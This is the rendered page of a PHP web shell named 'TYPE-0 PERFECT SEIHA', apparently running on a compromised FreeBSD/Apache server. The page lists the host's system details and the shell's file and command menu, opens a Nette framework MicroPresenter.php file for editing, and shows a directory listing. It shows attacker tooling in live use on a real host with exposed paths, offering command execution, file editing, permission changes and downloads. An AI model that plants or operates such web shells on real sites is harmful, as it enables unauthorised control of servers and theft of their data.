TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
addlogo
home
vendor
nette
application
src
Application
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/addlogo/home/vendor/nette/application/src/Application/MicroPresenter.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * Copyright (c) 2004 David Grudl (http://davidgrudl.com) */ namespace NetteModule; use Nette; use Nette\Application; use Nette\Application\Responses; use Nette\Http; use Latte; /** * Micro presenter. * * @property-read Nette\Application\IRequest $request */ class MicroPresenter extends Nette\Object implements Application\IPresenter { /** @var Nette\DI\Container|NULL */ private $context; /** @var Nette\Http\IRequest|NULL */ private $httpRequest; /** @var Application\IRouter|NULL */ private $router; /** @var Application\Request */ private $request; public function __construct(Nette\DI\Container $context = NULL, Http\IRequest $httpRequest = NULL, Application\IRouter $router = NULL) { $this->context = $context; $this->httpRequest = $httpRequest; $this->router = $router; } /** * Gets the context. * @return Nette\DI\Container */ public function getContext() { return $this->context; } /** * @return Nette\Application\IResponse */ public function run(Application\Request $request) { $this->request = $request; if ($this->httpRequest && $this->router && !$this->httpRequest->isAjax() && ($request->isMethod('get') || $request->isMethod('head'))) { $refUrl = clone $this->httpRequest->getUrl(); $url = $this->router->constructUrl($request, $refUrl->setPath($refUrl->getScriptPath())); if ($url !== NULL && !$this->httpRequest->getUrl()->isEqual($url)) { return new Responses\RedirectResponse($url, Http\IResponse::S301_MOVED_PERMANENTLY); } } $params = $request->getParameters(); $callback = isset($params['callback']) ? $params['callback'] : null; if (!$callback instanceof \Closure) { // patched to fix CVE-2020-15227 throw new Application\BadRequestException('Parameter callback is not a valid closure.'); } $params['presenter'] = $this; $callback = $params['callback']; $reflection = Nette\Utils\Callback::toReflection(Nette\Utils\Callback::check($callback)); $params = Application\UI\PresenterComponentReflection::combineArgs($reflection, $params); if ($this->context) { foreach ($reflection->getParameters() as $param) { if ($param->getClassName()) { unset($params[$param->getPosition()]); } } $params = Nette\DI\Helpers::autowireArguments($reflection, $params, $this->context); $params['presenter'] = $this; } $response = call_user_func_array($callback, $params); if (is_string($response)) { $response = array($response, array()); } if (is_array($response)) { list($templateSource, $templateParams) = $response; $response = $this->createTemplate()->setParameters($templateParams); if (!$templateSource instanceof \SplFileInfo) { $response->getLatte()->setLoader(new Latte\Loaders\StringLoader); } $response->setFile($templateSource); } if ($response instanceof Application\UI\ITemplate) { return new Responses\TextResponse($response); } else { return $response; } } /** * Template factory. * @param string * @param callable * @return Application\UI\ITemplate */ public function createTemplate($class = NULL, $latteFactory = NULL) { $latte = $latteFactory ? $latteFactory() : $this->getContext()->getByType('Nette\Bridges\ApplicationLatte\ILatteFactory')->create(); $template = $class ? new $class : new Nette\Bridges\ApplicationLatte\Template($latte); $template->setParameters($this->request->getParameters()); $template->presenter = $this; $template->context = $this->context; if ($this->httpRequest) { $url = $this->httpRequest->getUrl(); $template->baseUrl = rtrim($url->getBaseUrl(), '/'); $template->basePath = rtrim($url->getBasePath(), '/'); } return $template; } /** * Redirects to another URL. * @param string * @param int HTTP code * @return Nette\Application\Responses\RedirectResponse */ public function redirectUrl($url, $code = Http\IResponse::S302_FOUND) { return new Responses\RedirectResponse($url, $code); } /** * Throws HTTP error. * @param string * @param int HTTP error code * @return void * @throws Nette\Application\BadRequestException */ public function error($message = NULL, $code = Http\IResponse::S404_NOT_FOUND) { throw new Application\BadRequestException($message, $code); } /** * @return Nette\Application\IRequest */ public function getRequest() { return $this->request; } }
Crotin
Name
Size
Permissions
Modified
User/Group
exceptions.php
1127
0644
2015-09-30 18:28:51
Unknown/Unknown
IResponse.php
396
0644
2015-09-30 18:28:51
Unknown/Unknown
IRouter.php
613
0644
2015-09-30 18:28:51
Unknown/Unknown
Application.php
5346
0644
2015-09-30 18:28:51
Unknown/Unknown
templates
-
0755
2015-09-30 18:29:15
Unknown/Unknown
IPresenterFactory.php
611
0644
2015-09-30 18:28:51
Unknown/Unknown
MicroPresenter.php-nette-autoupdate-backup.php
4347
0644
2015-09-30 18:28:51
Unknown/Unknown
IPresenter.php
312
0644
2015-09-30 18:28:51
Unknown/Unknown
MicroPresenter.php
4464
0644
2020-10-13 18:26:34
Unknown/Unknown
Request.php
4058
0644
2015-09-30 18:28:51
Unknown/Unknown
ErrorPresenter.php
924
0644
2015-09-30 18:28:51
Unknown/Unknown
Responses
-
0755
2015-09-30 18:29:16
Unknown/Unknown
PresenterFactory.php
3857
0644
2015-09-30 18:28:51
Unknown/Unknown
UI
-
0755
2015-09-30 18:29:15
Unknown/Unknown
Routers
-
0755
2015-09-30 18:29:14
Unknown/Unknown
LinkGenerator.php
2057
0644
2015-09-30 18:28:51
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin